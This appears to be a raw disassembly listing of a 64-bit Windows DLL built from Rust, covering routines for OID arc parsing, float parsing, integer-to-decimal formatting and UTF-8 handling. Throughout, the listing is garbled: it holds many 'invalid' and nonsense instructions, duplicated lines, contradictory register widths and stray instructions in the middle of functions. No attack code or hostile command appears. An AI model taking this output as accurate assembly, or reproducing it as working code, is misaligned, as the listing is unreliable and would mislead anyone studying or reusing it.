and qword [rax + 0x18], 0
and dword [rax + 0x18], 0
and dword [rax + 0x18], 0
mov rdi, qword [rbx + 0x20]
mov rbx, qword [rbx + 0x28]
sub byte [rcx - 0x43], al
add dword [rax], eax
add byte [rax], al
and byte [rax - 0x75], cl
pop rbx
sub byte [rcx - 0x43], al
add dword [rax], eax
add byte [rax], al
lea r14, [rsp + 0x30]
xorps xmm6, xmm6
lea rcx, [rsp + 0x70]
lea ecx, [rsp + 0x70]
call fcn.18001fd2a
mov ebp, eax
test eax, eax
je 0x18001fd09
add byte [rax], al
add byte [rax - 0x75], cl
mov ah, 0x24
mov byte [rax], al
add byte [rax], al
mov rsi, qword [rsp + 0x88]
lea r12, [rsi + 1]
mov qword [rsp + 0x88], r12
mov dword [rsp + 0x2c], edx
push rsp
and al, 0x2c
lea rax, [0x180081490]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x38], ebp
mov dword [rsp + 0x38], ebp
and qword [rsp + 0x50], 0
lea rax, [rsp + 0x2c]
sub al, 0x48
mov dword [rsp + 0x60], eax
sub al, 0x48
mov dword [rsp + 0x60], eax
lea rax, [0x180025550]
mov qword [rsp + 0x68], rax
and al, 0x68
and al, 0x68
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], r13
insb byte [rdi], dx
and al, 0x48
insb byte [rdi], dx
and al, 0x48
mov rcx, rdi
mov rdx, rbx
mov r8, r14
call fcn.1800635e4
invalid
test al, al
jne 0x18001fd09
add byte [rax + rax*8 - 0x7cb7b48b], al
invalid
cmp rsi, 0xffffffffffffffff
je 0x18001fc44
cmp r12, r15
jae 0x18001fc44
lea rax, [0x180071b98]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [0x180081690]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x48], xmm6
mov rcx, rdi
mov rdx, rbx
mov r8, r14
call fcn.1800635e4
test al, al
je 0x18001fc44
test ebp, ebp
setne al
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
int1
call fcn.18001fd84
cmp dword [rsi], 0
jne 0x18001fd52
mov eax, dword [rsp + 0x30]
and al, 0x30
mov edx, dword [rsp + 0x34]
add rsp, 0x40
pop rsi
ret
mov rax, qword [rsp + 0x30]
and al, 0x30
lea r8, [rsp + 0x38]
and al, 0x38
mov qword [r8], rax
lea rax, str.registery_srcindex.crates.io_6f17d22bba15001fconst_oid_0.9.6_src_arcs.rs
mov qword [rsp + 0x20], rax
lea rcx, str.OID_malformed
lea r9, [0x18006f998]
add al, 0
add al, 0
mov edx, 0xd
call fcn.180069b20
add al, 0
add al, 0
int3
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x20
mov rdi, rdx
mov rsi, rcx
cmp qword [rdx], 0
cmp dword [rdx], 0
cmp dword [rdx], 0
je case.0x18000b818.128
mov r14, qword [rdi + 8]
mov esi, dword [rdi + 8]
mov rbx, qword [rdi + 0x10]
test r14, r14
je case.0x18001e906.47
xor r15d, r15d
xor ebp, ebp
lea r12, [r14 + r15]
lea esp, [rsi + rdi]
mov rcx, rbx
call fcn.18002003c
add al, byte [rax]
add byte [rcx + 0x39], cl
invalid
jae 0x18001fe96
int 0
add byte [rax], al
add al, byte [rax]
add byte [rcx + 0x39], cl
invalid
int 0
add byte [rax], al
test rax, rax
je 0x18001fe96
mov rcx, r15
mov ecx, edi
inc rcx
je 0x18001fe0c
add rax, r14
movzx eax, byte [r15 + rax]
mov dh, 4
invalid
cmp rcx, 5
cmp ecx, 5
mov dh, 4
invalid
cmp ecx, 5
jb 0x18001fdf0
cmp al, 0xf
ja 0x18001fea1
mov edx, ebp
shl edx, 7
loop 0x18001fdfc
invalid
loop 0x18001fdfc
mov ebp, eax
and ebp, 0x7f
or ebp, edx
mov r15, rcx
test al, al
js 0x18001fdb4
add r14, rcx
jae 0x18001febb
invalid
scasd eax, dword [rdi]
add byte [rax], al
invalid
sub dword [rdi - 0x3a000000], 0x46
add al, 5
mov byte [rsi + 4], 5
jmp 0x18001fea5
nop
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdi + 0x10]
invalid
invalid
mov rcx, qword [rdi + 0x10]
call fcn.18002003c
test rdx, rdx
je 0x18001fed8
invalid
mov cl, 0
add byte [rax], al
test byte [rcx - 0x76000000], dh
or al, ch
cmp eax, dword [rdx]
add byte [rax], al
mov cl, byte [rax]
call fcn.180020069
cmp al, 8
jne 0x18001fe90
shr eax, 8
mov qword [rdi], 1
add byte [rax - 0x7d], cl
or byte [eax], al
add byte [rax - 0x7d], cl
or byte [eax], al
and dword [rdi + 8], 0
movzx eax, al
mov cl, 0x28
div cl
movzx eax, al
jmp 0x18001fe82
mov rcx, rbx
call fcn.18002003c
test rdx, rdx
test edx, edx
test edx, edx
je 0x18001fee1
add byte [rax], al
add byte [rdx + 0x204e808], cl
add byte [rax], al
mov cl, byte [rax]
call fcn.180020069
cmp al, 8
jne 0x18001fe90
or byte [rbp + 0x27], dh
shr eax, 8
mov ecx, 1
mov qword [rdi], rcx
mov qword [rdi + 8], rcx
or byte [r15], r9b
mov dh, 0xc0
or byte [r15], r9b
mov dh, 0xc0
mov cl, 0x28
div cl
movzx eax, ah
invalid
invalid
mov dword [rsi + 4], 1
mov dword [rsi + 8], eax
xor eax, eax
jmp 0x18001feaa
mov qword [rsi + 4], rax
mov dword [rsi + 4], eax
jmp 0x18001fea5
test r15, r15
je 0x18001fed2
mov byte [rsi + 4], 2
add al, 2
jmp 0x18001fea5
mov byte [rsi + 4], 1
mov eax, 1
add byte [rax], al
add byte [rcx - 0x3b7cb7fa], cl
add rsp, 0x20
pop rbx
pop rbp
mov dword [rsi], eax
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop rsi
pop r15
ret
mov qword [rdi], 1
mov qword [rdi + 8], r14
or bh, al
add al, 1
add byte [rax], al
add byte [rcx - 0x4514f792], cl
or bh, al
add al, 1
add byte [rax], al
add byte [rcx - 0x4514f792], cl
and dword [rsi + 4], 0
jmp case.0x18001a336.106
add bl, ch
mov ah, 0x4c
lea eax, [0x18006fa08]
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001fconst_oid_0.9.6_src_arcs.rs
jmp 0x18001fee8
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001fconst_oid_0.9.6_src_arcs.rs
xor ecx, ecx
xor edx, edx
call fcn.1800697a0
int3
and al, 0x40
mov qword [rax], rcx
lea rcx, [0x18006fb28]
mov qword [rsp + 0x30], rcx
and al, 0x30
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 3
and byte [rbx], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x4fbe2
and byte [rbx], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x4fbe2
lea r9, [0x18006fb22]
sti
add al, 0
mov r8d, 0xa
jmp 0x18001ffba
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, case.0x18003d363.0
mov r8d, 5
jmp 0x180020035
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x4fbdb
lea edx, [0x18006fb51]
mov r8d, 7
jmp 0x180020035
mov rcx, rdx
mov rdx, rax
call fcn.1800274f0
nop
add rsp, 0x48
ret
add rsp, 0x48
jmp rax
test byte [rdx + 0x49000001], al
mov edx, edx
mov r8, rcx
and r10d, 0x3f
mov ecx, r10d
lea rax, [0x18006fc58]
movzx esi, word [rax + rcx*2]
mov ecx, esi
and ecx, 0x7ff
cmp ecx, 0x51d
add eax, 0x830f0000
loopne 0x18002024a
add byte [rax], al
add eax, 0x830f0000
loopne 0x18002024a
add byte [rax], al
add cl, al
out dx, al
or eax, dword [rdx + 0xf]
mov bh, 0x44
push rax
add ah, byte [0x180020a58]
shr esi, 0xb
movzx eax, word [rax + r10*2 + 2]
and eax, 0x7ff
sub rax, rcx
lea rdx, [rax - 1]
mov r11d, 0x51b
sub r11, rcx
lea rdi, [0x18006fcda]
add rdi, rcx
inc rdi
mov ebx, 0x51c
sub rbx, rcx
xor ecx, ecx
cmp rax, rcx
je 0x1800202e2
cmp rbx, rcx
je 0x1800202e2
cmp r9, rcx
je 0x1800202df
cmp rcx, 0x300
je 0x180020415
add byte [rax], al
movzx r14d, byte [rdi + rcx - 1]
movzx r15d, byte [r8 + rcx + 8]
cmp r15b, r14b
div dword [rbp + 0x29]
div dword [rbp + 0x29]
cmp rdx, rcx
je 0x1800202e2
cmp r11, rcx
je 0x1800202e2
lea r12, [rcx + 1]
cmp r12, r9
je 0x1800202df
add dword [rbp + 0x39], ecx
int3
movzx r14d, byte [rdi + rcx]
movzx r15d, byte [r8 + rcx + 9]
inc r12
mov rcx, r12
cmp r15b, r14b
je 0x180020280
cmp r15b, r14b
sbb rsi, 0
jmp 0x1800202e2
dec rsi
lea rbx, [rsi + r8]
add rbx, 7
xor edx, edx
movabs rdi, 0xcccccccccccccccd
jmp 0x180020309
mov byte [rbx + r14], al
test r9, r9
je 0x180020362
mov r14, r9
dec r9
cmp r14, 0x301
jae 0x180020401
movzx r11d, byte [r8 + r14 + 7]
mov ecx, r10d
shl r11, cl
add r11, rdx
mov rax, r11
mul rdi
lea rcx, [r14 + rsi]
or al, 0x36
or al, 0x36
dec rcx
shr rdx, 3
lea rax, [rdx + rdx]
adc cl, byte [rbp + rcx*4 + 0x3c]
or byte [rcx + rcx*4 - 0x28], 0x4c
sub eax, edi
adc cl, byte [rbp + rcx*4 + 0x3c]
or byte [rcx + rcx*4 - 0x28], 0x4c
sub eax, edi
cmp rcx, 0x300
jb 0x180020300
test rax, rax
je 0x180020304
mov byte [r8 + 0x30c], 1
jmp 0x180020304
cmp r11, 0xa
jae 0x1800203b0
mov rcx, qword [r8]
add rcx, rsi
cmp rcx, 0x300
mov eax, 0x300
cmovb rax, rcx
mov qword [r8], rax
add dword [r8 + 0x308], esi
test rcx, rcx
je 0x1800203a1
dec rax
dec eax
cmp byte [r8 + rax + 8], 0
jne 0x1800203a1
invalid
mov qword [r8], rax
add rax, 0xffffffffffffffff
jb 0x180020390
push qword [rdx - 0x11]
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop rsi
pop r15
pop rbp
ret
lea r9, [rsi - 1]
jmp 0x1800203ce
nop dword cs:[rax + rax]
mov byte [r8 + r9 + 8], al
dec r9
cmp rcx, 0xa
jb 0x180020368
mov rcx, rdx
mov rax, rdx
mul rdi
shr rdx, 3
lea rax, [rdx + rdx]
lea r10, [rax + rax*4]
mov rax, rcx
sub rax, r10
cmp r9, 0x300
jb 0x1800203c0
test rax, rax
je 0x1800203c5
mov byte [r8 + 0x30c], 1
jmp 0x1800203c5
lea r8, [0x18006fbe0]
mov edx, 0x300
mov rcx, r9
call fcn.1800697a0
lea r8, [0x180070210]
mov ecx, 0x300
mov edx, 0x300
call fcn.1800697a0
lea r8, [0x1800701f8]
mov edx, 0x51c
call fcn.180069790
int3
push rbp
push rsi
push rdi
sub rsp, 0x60
lea rbp, [rsp + 0x60]
mov r9, rdx
mov rcx, qword [rcx]
mov eax, 0x27
lea r8, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990000000000000000000000000000000000000000000000000000000000000000
cmp rcx, 0x2710
jb 0x180020510
mov r11d, 0x27
movabs r10, 0x346dc5d63886594b
xor al, 0xf
invalid
add byte [rax], r8b
invalid
xor al, 0xf
invalid
add byte [rax - 0x77], cl
enter 0xfffffffffffff749, 0xffffffffffffffe2
mov rax, rcx
mul r10
shr rdx, 0xb
imul eax, edx, 0x2710
ret 0x2710
add byte [rax], al
add byte [rcx + 0x69c629ce], cl
invalid
jnp 0x1800204ac
add byte [rax], al
shr edi, 0x13
out dx, eax
adc ebp, dword [rbx - 0x39]
sub esi, eax
ret 0x2710
add byte [rcx + 0x69c629ce], cl
invalid
out dx, eax
adc ebp, dword [rbx - 0x39]
sub esi, eax
movzx esi, si
lea rax, [r11 - 4]
movzx edi, word [r8 + rdi*2]
mov word [rbp + r11 - 0x2b], di
movzx esi, word [r8 + rsi*2]
mov word [rbp + r11 - 0x29], si
mov r11, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
ja 0x180020480
cmp rdx, 0x63
jbe 0x1800204fe
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul r10d, ecx, 0x64
sub edx, r10d
retf 0xe9c1
sub edx, r10d
movzx edx, dx
movzx edx, word [r8 + rdx*2]
mov word [rbp + rax - 0x29], dx
xlatb
xlatb
add rax, 0xfffffffffffffffe
mov rdx, rcx
cmp rdx, 0xa
jae 0x18002051b
or dl, 0x30
mov byte [rbp + rax - 0x28], dl
dec rax
jmp 0x180020529
mov rdx, rcx
cmp rdx, 0x63
ja 0x1800204d4
jmp 0x1800204fe
movzx ecx, word [r8 + rdx*2]
mov word [rbp + rax - 0x29], cx
add rax, 0xfffffffffffffffe
lea rcx, [rax + rbp]
add rcx, 0xffffffffffffffd9
mov edx, 0x27
sub rdx, rax
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rcx
lea r8, [0x180081690]
mov rcx, r9
mov dl, 1
xor r9d, r9d
call fcn.180020560
nop
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x40]
mov rbx, r9
retf
mov rdi, r8
mov r15, qword [rbp + 0x78]
test dl, dl
je 0x1800205bc
retf
mov eax, dword [rcx + 0x34]
mov edx, eax
and edx, 1
mov r9d, 0x110000
mov r8d, 0x2b
sub eax, dword [rax]
add byte [rax], al
sub eax, dword [rax]
add byte [rax], al
cmove r8d, r9d
add rdx, r15
test al, 4
add al, 0x74
invalid
add al, 0x74
sub ecx, dword [rcx - 0x77]
invalid
mov r9, rbx
test rbx, rbx
je 0x180020647
cdq
add byte [rax], al
invalid
cdq
add byte [rax], al
add byte [rax - 0x7d], cl
sti
add dword [rbp + 0x1d], esi
cmp rbx, 1
jne 0x1800205d1
xor r9d, r9d
xor r11d, r11d
jmp 0x180020630
lea rdx, [r15 + 1]
mov eax, dword [rcx + 0x34]
mov r8d, 0x2d
add byte [rax], al
add byte [rax], al
test al, 4
jne 0x1800205a2
xor edi, edi
jmp 0x18002064a
mov r11d, ebx
and r11d, 0x1e
invalid
fild dword [rcx - 0x7d]
jrcxz 0x1800205f6
invalid
invalid
pxor xmm0, xmm0
xor r9d, r9d
movdqa xmm1, xmmword [0x18006c690]
invalid
invalid
add al, 0
test eax, 0x660004c0
movq mm2, qword [0x18006c6a0]
movdqa xmm2, xmmword [0x18006c6a0]
nop
movzx r10d, word [rdi + r9]
adc al, 0xf
movd xmm3, r10d
movd mm3, r10d
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
pshuflw xmm3, xmm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pand xmm3, xmm2
paddq xmm0, xmm3
add r9, 2
cmp r11, r9
jne 0x1800205f0
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq r9, xmm1
cmp r11, rbx
je 0x180020647
xor r10d, r10d
cmp byte [rdi + r11], 0xc0
setge r10b
add r9, r10
inc r11
cmp rbx, r11
jne 0x180020630
add rdx, r9
mov r13, qword [rbp + 0x70]
cmp qword [rcx], 0
je 0x180020691
mov r14, qword [rcx + 8]
sub r14, rdx
jbe 0x180020691
test al, 8
jne 0x1800206e7
mov qword [rbp - 8], r15
movzx r15d, byte [rcx + 0x38]
lea rax, [0x18008254c]
movsxd rdx, dword [rax + r15*4]
add rdx, rax
mov dword [rbp - 0x10], r8d
mov qword [rbp - 0x18], r13
jmp rdx
mov r15, r14
xor r14d, r14d
jmp case.0x180020684.0
mov rsi, qword [rcx + 0x20]
mov r12, qword [rcx + 0x28]
mov qword [rsp + 0x20], rbx
pop rsp
and al, 0x20
pop rsp
and al, 0x20
mov rcx, rsi
mov rdx, r12
mov r9, rdi
call fcn.180020c50
mov dil, 1
test al, al
je 0x1800206c6
add byte [rax - 0x49], al
add dword [rax + rax*8 - 0x776ec8c], eax
mov eax, edi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
invalid
mov rax, qword [r12 + 0x18]
mov rcx, rsi
mov rdx, r13
mov r8, r15
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp rax
mov eax, dword [rcx + 0x30]
mov dword [rbp - 0xc], eax
mov dword [rcx + 0x30], 0x30
movzx eax, byte [rcx + 0x38]
mov byte [rbp + 7], al
mov byte [rcx + 0x38], 1
mov r12, qword [rcx + 0x20]
mov qword [rbp - 8], rcx
mov rsi, qword [rcx + 0x28]
mov qword [rsp + 0x20], rbx
mov rcx, r12
mov rdx, rsi
mov r9, rdi
call fcn.180020c50
mov dil, 1
test al, al
jne 0x1800206b3
inc r14
nop dword [rax + rax]
dec r14
je 0x180020749
mov rcx, r12
mov edx, 0x30
call qword [rsi + 0x20]
test al, al
je 0x180020730
jmp 0x1800206b3
mov rcx, r12
mov rdx, r13
mov r8, r15
call qword [rsi + 0x18]
test al, al
jne 0x1800206b3
mov r13, qword [rbp - 8]
mov eax, dword [rbp - 0xc]
mov dword [r13 + 0x30], eax
movzx eax, byte [rbp + 7]
mov byte [r13 + 0x38], al
xor edi, edi
jmp 0x1800206b3
mov r12, qword [rcx + 0x20]
mov r13, qword [rcx + 0x28]
mov esi, dword [rcx + 0x30]
inc r15
nop word cs:[rax + rax]
dec r15
je 0x1800207ba
mov rcx, r12
mov edx, esi
call qword [r13 + 0x20]
test al, al
je 0x1800207a0
mov dil, 1
jmp 0x1800206b3
mov qword [rsp + 0x20], rbx
mov rcx, r12
mov rdx, r13
mov r8d, dword [rbp - 0x10]
mov r9, rdi
call fcn.180020c50
mov dil, 1
test al, al
jne 0x1800206b3
mov rcx, r12
mov rdx, qword [rbp - 0x18]
mov r8, qword [rbp - 8]
call qword [r13 + 0x18]
test al, al
jne 0x1800206b3
mov rbx, r14
neg rbx
mov rdi, 0xffffffffffffffff
lea rax, [rbx + rdi]
cmp rax, 0xffffffffffffffff
je 0x18002081c
mov rcx, r12
mov edx, esi
call qword [r13 + 0x20]
inc rdi
test al, al
je 0x180020800
jmp 0x18002081f
mov rdi, r14
cmp rdi, r14
setb dil
jmp 0x1800206b3
jmp 0x180021575
sub r10, rdi
mov rsi, r10
neg rsi
mov r15b, 2
add r10, rbx
je 0x18002171e
test rdi, rdi
je 0x1800215d5
movzx ecx, byte [r11]
or ecx, 0x20
cmp ecx, 0x65
jne 0x1800215da
jne 0x1800215da
mov r14, rdi
dec r14
je 0x18002171e
dec byte [rcx - 1]
invalid
movzx ebx, byte [r11 + 1]
cmp ebx, 0x2d
je 0x1800215ba
cmp ebx, 0x2b
jne 0x180021733
add rdi, 0xfffffffffffffffe
je 0x18002171e
movzx ecx, byte [r11 + 2]
movzx ecx, byte [rbx + 2]
add r11, 2
mov r14, rdi
jmp 0x180021738
mov r11b, 1
jmp 0x1800215dd
xor r11d, r11d
xor edi, edi
xor ebx, ebx
cmp r10, 0x14
jl 0x180021706
add r10, 0xffffffffffffffed
xor ecx, ecx
leave
jmp 0x18002161b
sub r14b, 0x2f
movzx r14d, r14b
cmovb r14d, ebx
movzx r14d, r14b
sub r10, r14
inc rcx
cmp r8, rcx
je 0x18002162c
movzx r14d, byte [rdx + rcx]
cmp r14d, 0x2e
je case.0x180004bed.251
invalid
cmp r14d, 0x30
je case.0x180004bed.251
test r10, r10
test edx, edx
jle 0x180021700
neg r8
xor eax, eax
movabs rbx, 0xde0b6b3a763ffff
nop word cs:[rax + rax]
jmp qword [rbx - 0x59]
nop word cs:[rax + rax]
mov rcx, r8
movzx r8d, byte [rdx]
add r8b, 0xd0
cmp r8b, 9
ja 0x180021697
inc rdx
lea rax, [rax + rax*4]
movzx r8d, r8b
lea rax, [r8 + rax*2]
mov r8, rcx
inc r8
sete sil
cmp rax, rbx
ja 0x180021684
test sil, sil
je 0x180021650
cmp rax, rbx
jbe 0x1800216e1
add r9, r8
neg r9
add r9, rdi
mov rsi, r9
jmp 0x180021700
neg rcx
mov r8, rcx
dec r8
je 0x1800216f3
inc rdx
mov rcx, r8
nop dword [rax + rax]
movzx r9d, byte [rdx]
add r9b, 0xd0
cmp r9b, 9
ja 0x1800216f7
lea rsi, [rcx - 1]
lea rax, [rax + rax*4]
movzx r9d, r9b
lea rax, [r9 + rax*2]
cmp rax, rbx
ja 0x1800216fa
inc rdx
cmp rcx, 1
mov rcx, rsi
jne 0x1800216b0
jmp 0x1800216fa
cmp rcx, 0xffffffffffffffff
je 0x1800217a0
dec dword [rdi]
test byte [rbp + 0x49000000], dh
neg eax
neg r8
dec r8
jne 0x1800216a2
xor esi, esi
jmp 0x1800216fa
imul bl
add ecx, dword [rax - 0x77]
invalid
mov rsi, rcx
sub rsi, r8
add rsi, rdi
test r10, r10
setg bl
mov r15b, 2
test r11b, r11b
je 0x18002171e
mov qword [r13], rsi
mov qword [r13 + 8], rax
mov byte [r13 + 0x10], 0
adc byte [rax], al
add byte [rcx - 0x77], cl
or byte [r9 - 0x3a], r8b
adc byte [r8], r8b
adc byte [rax], al
adc byte [rax], al
mov r15d, ebx
mov byte [r13 + 0x11], r15b
add rsp, 0x38
pop rbx
pop rdi
pop rsi
adc dword [rax - 0x7d], ecx
invalid
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
inc r11
mov ecx, ebx
add cl, 0xd0
cmp cl, 9
ja 0x18002171e
xor ecx, ecx
xor edi, edi
nop word cs:[rax + rax]
movzx r15d, byte [r11]
add r15b, 0xd0
cmp r15b, 9
ja 0x180021784
inc r11
cmp rdi, 0x10000
lea r12, [rdi + rdi*4]
movzx r15d, r15b
lea r15, [r15 + r12*2]
cmovl rcx, r15
cmovl rdi, r15
dec r14
jne 0x180021750
xor r14d, r14d
mov rdi, rcx
neg rdi
cmp bl, 0x2d
cmovne rdi, rcx
add rsi, rdi
test r14, r14
sete r11b
jmp 0x1800215df
lea r8, str.librarycore_src_numdec2fltparse.rs
mov ecx, 1
xor edx, edx
call fcn.180069790
int3
lea rbp, [rsp + 0x20]
mov rsi, r8
mov rdi, rdx
mov rax, qword [rcx]
mov rdx, qword [rcx + 0x10]
mov r8, rax
or r8, rdx
je 0x1800219f1
test rdx, rdx
je 0x180021919
mov r9, qword [rcx + 0x18]
mov ecx, dword [rcx + 0x18]
lea r8, [rdi + rsi]
add al, 0x37
xor edx, edx
test r9, r9
je 0x1800218a4
invalid
invalid
add byte [rax], al
invalid
test byte [rdx + 0x45000000], bl
xor edx, edx
xor r10d, r10d
mov r11, rdi
jmp 0x180021835
lea rbx, [r11 + 1]
inc r10
inc edx
sub rdx, r11
add rdx, rbx
invalid
fimul dword [rcx - 0x77]
fisttp dword [rbp + 0x39]
sal dword [rdx + rsi*2 + 0x4d], 1
cmp ebx, eax
mov r11, rbx
cmp r9, r10
je 0x1800218a7
cmp r11, r8
je 0x180021919
add byte [rax], al
movzx ebx, byte [r11]
test bl, bl
jns 0x180021820
cmp bl, 0xe0
jb 0x180021898
cmp bl, 0xf0
jb 0x18002189e
sti
invalid
movzx ebx, bl
movzx r14d, byte [r11 + 1]
and r14d, 0x3f
and esi, 0x3f
and esi, 0x3f
movzx r15d, byte [r11 + 2]
and r15d, 0x3f
movzx r12d, byte [r11 + 3]
add eax, dword [rbx - 0x1c3ef81d]
adc al, byte [rcx - 0x3f]
shl esi, 0xc
add eax, dword [rbx - 0x1c3ef81d]
adc al, byte [rcx - 0x3f]
shl esi, 0xc
shl esi, 0xc
shl r15d, 6
or r15d, r14d
or edi, esi
or edi, esi
and r12d, 0x3f
or r12d, r15d
cld
cld
or r12d, ebx
cmp r12d, 0x110000
je 0x180021919
lea rbx, [r11 + 4]
jmp 0x180021824
lea rbx, [r11 + 2]
jmp 0x180021824
lea rbx, [r11 + 3]
jmp 0x180021824
mov rbx, rdi
cmp rbx, r8
je 0x180021919
movzx r8d, byte [rbx]
test r8b, r8b
jns 0x180021902
cmp r8b, 0xe0
jb 0x180021902
cmp r8b, 0xf0
jb 0x180021902
movzx r8d, r8b
movzx r9d, byte [rbx + 1]
and r9d, 0x3f
movzx r10d, byte [rbx + 2]
and r10d, 0x3f
movzx r11d, byte [rbx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 0xc
shl r10d, 6
or r10d, r9d
and r11d, 0x3f
or r11d, r10d
or r11d, r8d
cmp r11d, 0x110000
je 0x180021919
test rdx, rdx
je 0x180021916
cmp rdx, rsi
jae 0x180021914
cmp byte [rdi + rdx], 0xc0
jge 0x180021916
jmp 0x180021919
jne 0x180021919
mov rsi, rdx
test rax, rax
je 0x1800219f1
mov r15, qword [rcx + 8]
cmp rsi, 0x20
jae 0x180021944
mov rax, rsi
mov eax, esi
test rsi, rsi
je 0x1800219d3
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
inc byte [rcx]
cmp rsi, 1
jne 0x180021957
sbb dword [rcx], esi
sal byte [rcx], 0xd2
xor eax, eax
xor edx, edx
jmp 0x1800219bd
mov rbx, rcx
mov ebx, ecx
mov rcx, rdi
mov rdx, rsi
call fcn.180020830
mov rcx, rbx
jmp 0x1800219d3
mov edx, esi
and edx, 0x1e
pxor xmm0, xmm0
xor eax, eax
movdqa xmm1, xmmword [0x18006c690]
movdqa xmm2, xmmword [0x18006c6a0]
nop word cs:[rax + rax]
movzx r8d, word [rdi + rax]
movd xmm3, r8d
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
pshuflw xmm3, xmm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pand xmm3, xmm2
paddq xmm0, xmm3
add rax, 2
cmp rdx, rax
jne 0x180021980
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq rax, xmm1
jmp 0x1800219ce
xor r8d, r8d
cmp byte [rdi + rdx], 0xc0
setge r8b
add rax, r8
inc rdx
cmp rsi, rdx
jne 0x1800219bd
sub r15, rax
jbe 0x1800219f1
movzx eax, byte [rcx + 0x38]
lea rdx, [0x18008255c]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
xor r13d, r13d
jmp 0x180021a2d
mov rax, qword [rcx + 0x20]
mov rcx, qword [rcx + 0x28]
mov r9, qword [rcx + 0x18]
mov rcx, rax
mov rdx, rdi
mov r8, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp r9
mov r13, r15
xor r15d, r15d
jmp 0x180021a2d
mov r13, r15
shr r13, 1
inc r15
shr r15, 1
mov rbx, qword [rcx + 0x20]
mov r12, qword [rcx + 0x28]
mov r14d, dword [rcx + 0x30]
inc r13
nop dword [rax]
mov rcx, rbx
dec r13
je 0x180021a58
mov edx, r14d
call qword [r12 + 0x20]
test al, al
je 0x180021a40
mov al, 1
jmp 0x180021aa7
mov rdx, rdi
mov r8, rsi
call qword [r12 + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x180021aa7
mov rdi, r15
neg rdi
mov rsi, 0xffffffffffffffff
nop dword [rax + rax]
lea rax, [rdi + rsi]
cmp rax, 0xffffffffffffffff
je 0x180021a9e
mov rcx, rbx
mov edx, r14d
call qword [r12 + 0x20]
inc rsi
test al, al
je 0x180021a80
jmp 0x180021aa1
mov rsi, r15
cmp rsi, r15
setb al
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rbp
push rsi
push rdi
sub rsp, 0x60
lea rbp, [rsp + 0x60]
mov r9, rdx
mov ecx, dword [rcx]
mov eax, 0x27
lea r8, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990000000000000000000000000000000000000000000000000000000000000000
cmp rcx, 0x2710
jb 0x180025620
mov r11d, 0x27
movabs r10, 0x346dc5d63886594b
nop word [rax + rax]
mov rax, rcx
mul r10
shr rdx, 0xb
imul eax, edx, 0x2710
mov esi, ecx
sub esi, eax
imul edi, esi, 0x147b
shr edi, 0x13
imul eax, edi, 0x64
sub esi, eax
movzx esi, si
lea rax, [r11 - 4]
movzx edi, word [r8 + rdi*2]
mov word [rbp + r11 - 0x2b], di
movzx esi, word [r8 + rsi*2]
mov word [rbp + r11 - 0x29], si
mov r11, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
ja 0x180025590
cmp rdx, 0x63
jbe 0x18002560e
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul r10d, ecx, 0x64
sub edx, r10d
movzx edx, dx
movzx edx, word [r8 + rdx*2]
mov word [rbp + rax - 0x29], dx
add rax, 0xfffffffffffffffe
mov rdx, rcx
cmp rdx, 0xa
jae 0x18002562b
or dl, 0x30
mov byte [rbp + rax - 0x28], dl
dec rax
jmp 0x180025639
mov rdx, rcx
cmp rdx, 0x63
ja 0x1800255e4
jmp 0x18002560e
movzx ecx, word [r8 + rdx*2]
mov word [rbp + rax - 0x29], cx
add rax, 0xfffffffffffffffe
lea rcx, [rax + rbp]
add rcx, 0xffffffffffffffd9
mov edx, 0x27
sub rdx, rax
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rcx
lea r8, [0x180081690]
mov rcx, r9
